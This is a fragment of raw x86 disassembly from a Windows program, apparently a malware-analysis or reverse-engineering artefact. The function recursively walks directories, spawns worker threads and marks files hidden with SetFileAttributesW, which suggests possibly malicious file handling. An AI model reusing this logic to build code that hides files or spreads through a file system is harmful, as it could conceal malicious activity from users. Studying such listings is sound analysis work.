lea eax, [ebp - 0x604]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov ecx, esi
sub ecx, edi
cmp eax, ecx
je 0x41a4c7
lea edi, [ebp - 0x610]
lea ecx, [edi + 2]
nop dword [eax + eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x40e6c0
push dword [ebp - 0x3318]
lea ecx, [ebp - 0x3060]
call fcn.0041eed0
mov byte [ebp - 4], 6
lea eax, [ebp - 0x32d0]
push eax
lea ecx, [ebp - 0x3060]
call fcn.0041ed60
cmp dword [ebp - 0x3324], 1
jne 0x41a959
lea esi, [ebp - 0x20]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41a501
sub esi, ecx
sar esi, 1
lea ecx, [ebp - 0x3048]
call fcn.0041ebc0
mov edi, eax
push 0
lea eax, [ebp - 0x20]
push eax
call fcn.0041eb40
mov ecx, edi
sub ecx, esi
cmp eax, ecx
je 0x41ab92
lea esi, [ebp - 0x2c]
lea ecx, [esi + 2]
nop word [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41a540
sub esi, ecx
sar esi, 1
push 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
sub edi, esi
cmp eax, edi
je 0x41ab92
mov eax, dword [ebp + 0x24]
test eax, eax
jne 0x41a69e
sub esp, 8
lea ecx, [ebp - 0x3060]
call fcn.0041ead0
mov edx, eax
lea ecx, [ebp - 0x3060]
call fcn.0041ebc0
push eax
lea eax, [edx + 1]
push eax
lea eax, [ebp - 0x3078]
push eax
call fcn.0041ea50
mov byte [ebp - 4], 7
push ecx
lea eax, [ebp - 0x3078]
push eax
call fcn.0041eb90
mov edx, eax
cmp edx, 0xffffffff
jne 0x41a5e2
lea eax, [ebp - 0x3078]
push eax
mov ecx, 0x45a390
call fcn.0041edb0
push 0x450170
mov ecx, 0x45a390
call fcn.0041ed60
jmp 0x41a68c
lea ecx, [ebp - 0x3078]
call fcn.0041ebc0
lea edi, [eax + 1]
add edi, edx
mov dword [ebp - 0x3304], edi
xor esi, esi
mov dword [ebp - 0x3338], esi
push 0x64
push esi
lea eax, [ebp - 0x2848]
push eax
call fcn.00429e30
add esp, 0xc
add edi, esi
push edi
mov ecx, 0x45a390
call fcn.0041ebd0
mov ecx, 0x45a390
cmp word [eax], 0x3b
je 0x41a64e
push edi
call fcn.0041ebd0
mov ax, word [eax]
mov word [ebp + esi*2 - 0x2848], ax
inc esi
mov dword [ebp - 0x3338], esi
mov edi, dword [ebp - 0x3304]
jmp 0x41a612
push esi
mov esi, dword [ebp - 0x3304]
push esi
call fcn.0041ec20
lea eax, [ebp - 0x2848]
push eax
call fcn.0042f17f
inc eax
push 0xa
lea ecx, [ebp - 0x2848]
push ecx
push eax
call fcn.0042e8b9
add esp, 0x10
lea eax, [ebp - 0x2848]
push eax
push esi
mov ecx, 0x45a390
call fcn.0041ed10
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3078]
call fcn.0041ee00
mov eax, dword [ebp + 0x24]
cmp ebx, 1
jne 0x41a784
cmp dword [0x456b40], 6
jg 0x41a784
cmp eax, ebx
je 0x41a78d
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3308], esp
lea eax, [ebp + 8]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 8
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x330c], esp
lea eax, [ebp - 0x3060]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 9
mov byte [ebp - 4], 6
mov edx, ebx
mov ecx, edx
call fcn.0041ad70
inc dword [0x456b40]
add esp, 0x2c
push 0xa
lea eax, [ebp - 0x2c30]
push eax
lea ecx, [ebp - 0x3420]
call fcn.0041f080
lea edx, [ebp - 0x3060]
lea ecx, [ebp - 0x3420]
call fcn.00425180
push 0
push 0
mov eax, dword [ebp - 0x3420]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x3420]
add ecx, eax
call fcn.00420d60
push ecx
lea ecx, [ebp - 0x3420]
call fcn.004203a0
lea ecx, [ebp - 0x3420]
call fcn.0041f010
mov eax, 2
mov dword [ebp - 0x3300], eax
mov dword [ebp - 0x3320], eax
cmp dword [0x459688], 3
jg 0x41a959
lea eax, [ebp - 0x2c30]
jmp 0x41a94a
cmp eax, 1
jne 0x41a7ee
add ebx, 0x3e8
mov dword [ebp - 0x3320], ebx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3308], esp
lea eax, [ebp + 8]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0xa
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x330c], esp
lea eax, [ebp - 0x3060]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0xb
mov byte [ebp - 4], 6
xor edx, edx
mov ecx, ebx
call fcn.0041ad70
add esp, 0x30
inc ebx
mov dword [ebp - 0x3300], ebx
mov dword [ebp - 0x3320], ebx
jmp 0x41a959
push ecx
push 8
lea eax, [ebp - 0x2a3c]
push eax
lea ecx, [ebp - 0x34d0]
call fcn.0041f080
lea edx, [ebp - 0x3060]
lea ecx, [ebp - 0x34d0]
call fcn.00425180
push 0
push 0
mov eax, dword [ebp - 0x34d0]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x34d0]
add ecx, eax
call fcn.00420d60
push ecx
lea ecx, [ebp - 0x34d0]
call fcn.004203a0
lea ecx, [ebp - 0x34d0]
call fcn.0041f010
mov eax, dword [0x45967c]
cmp eax, 6
jg 0x41a874
lea ecx, [ebp - 0x3060]
push ecx
lea eax, [eax + eax*2]
lea ecx, [eax*8 + 0x45a3a8]
call fcn.0041ede0
inc dword [0x45967c]
jmp 0x41a937
xor edi, edi
mov dword [ebp - 0x3334], edi
cmp edi, 6
jg 0x41a917
inc ebx
mov dword [ebp - 0x3300], ebx
mov dword [ebp - 0x3320], ebx
lea ecx, [ebp - 0x30ac]
call fcn.0041ac40
mov byte [ebp - 4], 0xc
lea eax, [edi + edi*2]
lea esi, [eax*8 + 0x45a3a8]
push esi
lea ecx, [ebp - 0x30ac]
call fcn.0041ede0
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x3094]
call fcn.0041ede0
mov dword [ebp - 0x307c], ebx
lea eax, [ebp - 0x3370]
push eax
push 0
lea eax, [ebp - 0x30ac]
push eax
push 0x41dc90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp + edi*4 - 0x3030], eax
push 0x6e
call dword [sym.imp.KERNEL32.dll_Sleep]
push ecx
mov ecx, esi
call fcn.0041edd0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x30ac]
call fcn.0041acd0
inc edi
jmp 0x41a876
push 0x7530
push 1
lea eax, [ebp - 0x3030]
push eax
push 7
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x45967c], 0
cmp dword [0x459688], 2
je 0x41a959
lea eax, [ebp - 0x2a3c]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
inc dword [0x459688]
mov ebx, dword [ebp - 0x3324]
test ebx, ebx
jne 0x41aa68
cmp dword [ebp + 0x20], ebx
jne 0x41a9e5
lea esi, [ebp - 0x20]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41a976
sub esi, ecx
sar esi, 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov edx, eax
lea ecx, [ebp - 0x3048]
call fcn.0041ebc0
sub eax, esi
cmp edx, eax
jne 0x41ab92
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3308], esp
lea eax, [ebp + 8]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0xd
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x330c], esp
lea eax, [ebp - 0x3060]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0xe
jmp 0x41ab84
lea esi, [ebp - 0x2c]
lea ecx, [esi + 2]
nop dword [eax + eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41a9f0
sub esi, ecx
sar esi, 1
push 0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov edx, eax
lea ecx, [ebp - 0x3048]
call fcn.0041ebc0
sub eax, esi
cmp edx, eax
jne 0x41ab92
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3308], esp
lea eax, [ebp + 8]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0xf
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x330c], esp
lea eax, [ebp - 0x3060]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0x10
mov byte [ebp - 4], 6
mov ecx, 1
jmp 0x41ab8a
cmp ebx, 2
jne 0x41ab92
cmp dword [ebp + 0x20], 0
jne 0x41ab92
lea esi, [ebp - 0x20]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x41aa81
sub esi, ecx
sar esi, 1
push 0
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x3048]
call fcn.0041eb40
mov edx, eax
lea ecx, [ebp - 0x3048]
call fcn.0041ebc0
sub eax, esi
cmp edx, eax
jne 0x41ab92
push 0x1f4
push 0
lea eax, [ebp - 0x3018]
push eax
call fcn.00429e30
push 0x1f4
push 0
lea eax, [ebp - 0x2e24]
push eax
call fcn.00429e30
add esp, 0x18
xor ecx, ecx
nop dword [eax]
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x32d0]
mov word [ebp + ecx - 0x3018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x41aaf0
xor eax, eax
mov dword [ebp - 0x3348], eax
movzx ecx, word [ebp + eax*2 - 0x3018]
cmp ecx, 0x2e
je 0x41ab2c
mov word [ebp + eax*2 - 0x2e24], cx
inc eax
jmp 0x41ab0a
lea eax, [ebp - 0x2e24]
push eax
call fcn.0042f17f
add esp, 4
and eax, 0x80000001
jns 0x41ab4b
dec eax
or eax, 0xfffffffe
inc eax
jne 0x41ab92
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x3308], esp
lea eax, [ebp + 8]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0x11
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x330c], esp
lea eax, [ebp - 0x3060]
push eax
call fcn.0041ef80
mov byte [ebp - 4], 0x12
mov byte [ebp - 4], 6
xor ecx, ecx
call fcn.0041b870
add esp, 0x30
push ecx
lea ecx, [ebp - 0x3060]
call fcn.0041edd0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3060]
call fcn.0041ee00
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3048]
call fcn.0041ee00
mov ebx, dword [ebp - 0x3300]
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, dword [ebp - 0x3330]
lea eax, [ebp - 0x32fc]
push eax
push edi
call esi
test eax, eax
jne 0x40d491
mov dword [ebp - 4], 2
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3420]
call fcn.00403c20
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34d0]
call fcn.00403c20
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0041ee00
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0042654c
mov esp, ebp
pop ebp
ret